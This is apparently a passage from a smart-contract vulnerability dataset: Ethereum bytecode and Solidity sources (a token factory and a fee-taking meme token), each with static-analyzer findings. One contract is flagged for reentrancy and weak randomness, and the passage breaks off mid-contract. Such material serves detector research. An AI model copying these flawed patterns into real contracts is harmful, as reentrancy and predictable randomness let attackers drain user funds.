82528060200260200182016040528015611ea55781602001602082028038833980820191505090505b509150600090505b6003600085815260200190815260200160002060070154811015611f6d5760036000858152602001908152602001600020600601600082815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168282815181101515611f2457fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611ead565b8192505b5050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fd457600080fd5b600760019054906101000a900460ff1615600760016101000a81548160ff021916908315150217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561205c57600080fd5b80600b8190555050565b600080600080600080600080600080600360008c8152602001908152602001600020995060008a600001541180156120ad575089600f0160009054906101000a900460ff16155b15156120b857600080fd5b60008a6004015414806120cf575060008a60070154145b1561222d57600098505b896004015489101561217e578960010154600460008c60030160008d815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000828254019250508190555088806001019950506120d9565b600098505b8960070154891015612228578960010154600460008c60060160008d815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600082825401925050819055508880600101995050612183565b612667565b60009750600098505b89600401548910156122a3578960030160008a815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631880197508880600101995050612236565b60009650600098505b8960070154891015612319578960060160008a815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16318701965088806001019950506122ac565b60058881151561232557fe5b068a600b018190555060058781151561233a57fe5b068a600c018190555089600c01548a600b0154141561239557600060024281151561236157fe5b0614156123805760018a600b0160008282540192505081905550612394565b60018a600c01600082825401925050819055505b5b6000955089600c01548a600b015411156123cf5789600201548a600d01819055506123c88a600101548b60070154613ade565b95506123f1565b89600501548a600d01819055506123ee8a600101548b60040154613ade565b95505b6123fc866064613b19565b9450612409856001613ade565b9350612416856009613ade565b925061242385605a613ade565b91506000905089600201548a600d015414156125015761245461244a838c60040154613b19565b8b60010154613b34565b9050600098505b89600401548910156124fc5780600460008c60030160008d815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008282540192505081905550888060010199505061245b565b6125c5565b61251c612512838c60070154613b19565b8b60010154613b34565b9050600098505b89600701548910156125c45780600460008c60060160008d815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600082825401925050819055508880600101995050612523565b5b82600560008c600d0154815260200190815260200160002060020160008282540192505081905550828a600e01819055508360066000828254019250508190555089600001547fb3056fccac203dd7cd4a684fc25adcb8385381a899f899f10c9b0805344d06ac8b600201548c600501548d600d0154876040518085815260200184815260200183815260200182815260200194505050505060405180910390a25b60018a600f0160006101000a81548160ff0219169083151502179055505050505050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156126ed57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606080600080600c5414156127985760006040519080825280602002602001820160405280156127905781602001602082028038833980820191505090505b5092506128a9565b60036000858152602001908152602001600020600401546040519080825280602002602001820160405280156127dd5781602001602082028038833980820191505090505b509150600090505b60036000858152602001908152602001600020600401548110156128a55760036000858152602001908152602001600020600301600082815260200190815260200160002060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828281518110151561285c57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506127e5565b8192505b5050919050565b6000600854905090565b6000600c54905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060806000806060600080600c54141561293657600060405190808252806020026020018201604052801561292e5781602001602082028038833980820191505090505b509550612ad0565b600c546040519080825280602002602001820160405280156129675781602001602082028038833980820191505090505b50945060009350600192505b600c5483111515612a4c5760036000848152602001908152602001600020600f0160009054906101000a900460ff161580156129c45750600360008481526020019081526020016000206009015442115b80156129fe575060006003600085815260200190815260200160002060070154600360008681526020019081526020016000206004015401115b15612a3f5760036000848152602001908152602001600020600001548585815181101515612a2857fe5b906020019060200201818152505083806001019450505b8280600101935050612973565b83604051908082528060200260200182016040528015612a7b5781602001602082028038833980820191505090505b509150600090505b83811015612acc578481815181101515612a9957fe5b906020019060200201518282815181101515612ab157fe5b90602001906020020181815250508080600101915050612a83565b8195505b505050505090565b6004602052806000526040600020600091509050806000015490806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612b8a5780601f10612b5f57610100808354040283529160200191612b8a565b820191906000526020600020905b815481529060010190602001808311612b6d57829003601f168201915b5050505050908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060030154905084565b600080600760019054906101000a900460ff161515612bde57600080fd5b858714151515612bed57600080fd5b602087108015612bfd5750602086105b1515612c0857600080fd5b6008548510151515612c1957600080fd5b600084111515612c2857600080fd5b600a548310151515612c3957600080fd5b6005600088815260200190815260200160002060030160009054906101000a900460ff161515612dfb576080604051908101604052808881526020016000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e8a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b158015612d0557600080fd5b505af1158015612d19573d6000803e3d6000fd5b505050506040513d6020811015612d2f57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160011515815250600560008981526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040820151816002015560608201518160030160006101000a81548160ff0219169083151502179055509050505b6005600087815260200190815260200160002060030160009054906101000a900460ff161515612fbd576080604051908101604052808781526020016000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e896040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b158015612ec757600080fd5b505af1158015612edb573d6000803e3d6000fd5b505050506040513d6020811015612ef157600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160011515815250600560008881526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040820151816002015560608201518160030160006101000a81548160ff0219169083151502179055509050505b3373ffffffffffffffffffffffffffffffffffffffff166005600089815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061308e57503373ffffffffffffffffffffffffffffffffffffffff166005600088815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b151561309957600080fd5b83420191508282019050600c600081548092919060010191905055506101c060405190810160405280600c548152602001868152602001888152602001600081526020018781526020016000815260200183815260200182815260200160008152602001600081526020016000815260200160008152602001600081526020016000151581525060036000600c548152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600401556080820151816005015560a0820151816007015560c0820151816008015560e0820151816009015561010082015181600a015561012082015181600b015561014082015181600c015561016082015181600d015561018082015181600e01556101a082015181600f0160006101000a81548160ff021916908315150217905550905050600c547fc356b68179cca4c68ba1c2c287c9350ed19f1ec4b9050c7c2dae493e8afa8d8060085489898686604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a250505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156132a157600080fd5b600760009054906101000a900460ff1615600760006101000a81548160ff021916908315150217905550565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561332c57600080fd5b82841415151561333b57600080fd5b6005600085815260200190815260200160002060030160009054906101000a900460ff1615156134fd576080604051908101604052808581526020016000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e876040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561340757600080fd5b505af115801561341b573d6000803e3d6000fd5b505050506040513d602081101561343157600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160011515815250600560008681526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040820151816002015560608201518160030160006101000a81548160ff0219169083151502179055509050505b6005600084815260200190815260200160002060030160009054906101000a900460ff1615156136bf576080604051908101604052808481526020016000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1580156135c957600080fd5b505af11580156135dd573d6000803e3d6000fd5b505050506040513d60208110156135f357600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160011515815250600560008581526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040820151816002015560608201518160030160006101000a81548160ff0219169083151502179055509050505b60095442019150600a5482019050600c600081548092919060010191905055506101c060405190810160405280600c5481526020016008548152602001858152602001600081526020018481526020016000815260200183815260200182815260200160008152602001600081526020016000815260200160008152602001600081526020016000151581525060036000600c548152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600401556080820151816005015560a0820151816007015560c0820151816008015560e0820151816009015561010082015181600a015561012082015181600b015561014082015181600c015561016082015181600d015561018082015181600e01556101a082015181600f0160006101000a81548160ff021916908315150217905550905050600c547fc356b68179cca4c68ba1c2c287c9350ed19f1ec4b9050c7c2dae493e8afa8d8060085486868686604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a250505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156138ca57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6006549081150290604051600060405180830381858888f19350505050158015613934573d6000803e3d6000fd5b506000600681905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561399b57600080fd5b6139a86008546002613b19565b600881905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613a0c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613a4857600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b6000828211151515613ad357fe5b818303905092915050565b6000806000841415613af35760009150613b12565b8284029050828482811515613b0457fe5b04141515613b0e57fe5b8091505b5092915050565b6000808284811515613b2757fe5b0490508091505092915050565b6000808284019050838110151515613b4857fe5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613b9357805160ff1916838001178555613bc1565b82800160010185558215613bc1579182015b82811115613bc0578251825591602001919060010190613ba5565b5b509050613bce9190613cd9565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613c1357805160ff1916838001178555613c41565b82800160010185558215613c41579182015b82811115613c40578251825591602001919060010190613c25565b5b509050613c4e9190613cd9565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613c8b5780548555613cc8565b82800160010185558215613cc857600052602060002091601f016020900482015b82811115613cc7578254825591600101919060010190613cac565b5b509050613cd59190613cd9565b5090565b613cfb91905b80821115613cf7576000816000905550600101613cdf565b5090565b905600a165627a7a72305820864f0357edf0ceb97ca82916bada72aa70716e62250819c52af39295265a683b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}]}}
6,749
0x2efc352936d5c52b3ee061367c834bf768f11715
/** *Submitted for verification at Etherscan.io on 2021-09-30 */ pragma solidity 0.8.7; // SPDX-License-Identifier: MIT /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. */ contract ERC20 is Context, IERC20 { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; uint256 internal _totalSupply; string public name; string public symbol; uint8 public decimals; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Mintable is ERC20 { address internal owner; function mint(address to, uint256 amount) external { require(msg.sender == owner); _mint(to, amount); } function burn(address from, uint256 amount) external { require(msg.sender == owner); _burn(from, amount); } function init(address _owner, string calldata _name, string calldata _symbol, uint8 _decimals) external { require(owner == address(0)); owner = _owner; name = _name; symbol = _symbol; decimals = _decimals; } } contract TokenFactory { address immutable template; event NewTokenCreated(address owner, address token); function newToken(address _owner, string calldata _name, string calldata _symbol, uint8 _decimals) external returns (address token) { token = createClone(template); ERC20Mintable(token).init(_owner, _name, _symbol, _decimals); emit NewTokenCreated(_owner, token); } function createClone(address target) internal returns (address result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } constructor() { ERC20Mintable instance = new ERC20Mintable(); template = address(instance); } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c8063a68c79a114610030575b600080fd5b61004361003e366004610235565b61006c565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b60006100977f000000000000000000000000d8ca864b1b02c34aa5928feb19d46dbb76ef7dcd610183565b6040517f3bf7379800000000000000000000000000000000000000000000000000000000815290915073ffffffffffffffffffffffffffffffffffffffff821690633bf73798906100f6908a908a908a908a908a908a90600401610332565b600060405180830381600087803b15801561011057600080fd5b505af1158015610124573d6000803e3d6000fd5b50506040805173ffffffffffffffffffffffffffffffffffffffff808c168252851660208201527ff859fae2644f153745fbb42fe7fcdd7212ecb3cafdfb1a52e33cf8974e150dac935001905060405180910390a19695505050505050565b6000808260601b90506040517f3d602d80600a3d3981f3363d3d373d3d3d363d7300000000000000000000000081528160148201527f5af43d82803e903d91602b57fd5bf3000000000000000000000000000000000060288201526037816000f0949350505050565b60008083601f8401126101fe57600080fd5b50813567ffffffffffffffff81111561021657600080fd5b60208301915083602082850101111561022e57600080fd5b9250929050565b6000806000806000806080878903121561024e57600080fd5b863573ffffffffffffffffffffffffffffffffffffffff8116811461027257600080fd5b9550602087013567ffffffffffffffff8082111561028f57600080fd5b61029b8a838b016101ec565b909750955060408901359150808211156102b457600080fd5b506102c189828a016101ec565b909450925050606087013560ff811681146102db57600080fd5b809150509295509295509295565b8183528181602085013750600060208284010152600060207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f840116840101905092915050565b73ffffffffffffffffffffffffffffffffffffffff871681526080602082015260006103626080830187896102e9565b82810360408401526103758186886102e9565b91505060ff8316606083015297965050505050505056fea264697066735822122008515460c1a52c0b27613cbb95171104b246d521c7a9bfefec6f11b12d09f19164736f6c63430008070033
{"success": true, "error": null, "results": {}}
6,750
0xa86970a33c6b32968a76285e2cb423c884c24ec1
// SPDX-License-Identifier: Unlicensed /* __ __ _____ _ __ _____ _______ __ __ | \/ |_ _| |/ / /\ / ____| /\|__ __|/\ | \/ | /\ | \ / | | | | ' / / \ | (___ / \ | | / \ | \ / | / \ | |\/| | | | | < / /\ \ \___ \ / /\ \ | | / /\ \ | |\/| | / /\ \ | | | |_| |_| . \ / ____ \ ____) / ____ \| |/ ____ \| | | |/ ____ \ |_| |_|_____|_|\_\/_/ \_\_____/_/ \_\_/_/ \_\_| |_/_/ \_\ Telegram: https://t.me/mikasatama */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract MIKASATAMA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _tTotal = 1e9 * 10**9; uint private constant _decimals = 9; uint256 private _teamFee = 12; uint256 private _previousteamFee = _teamFee; string private constant _name = "Mikasa Tama"; string private constant _symbol = "MIKASATAMA"; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; bool private _enableMaxTxn = true; uint256 private _launchTime; uint256 private _maxtxn = 2; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _enableMaxTxn) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(_maxtxn).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 tokenBurn = contractTokenBalance.div(4); contractTokenBalance -= tokenBurn; _burnToken(tokenBurn); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 tokenBurn) private lockTheSwap(){ _transfer(address(this), address(0xdead), tokenBurn); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns 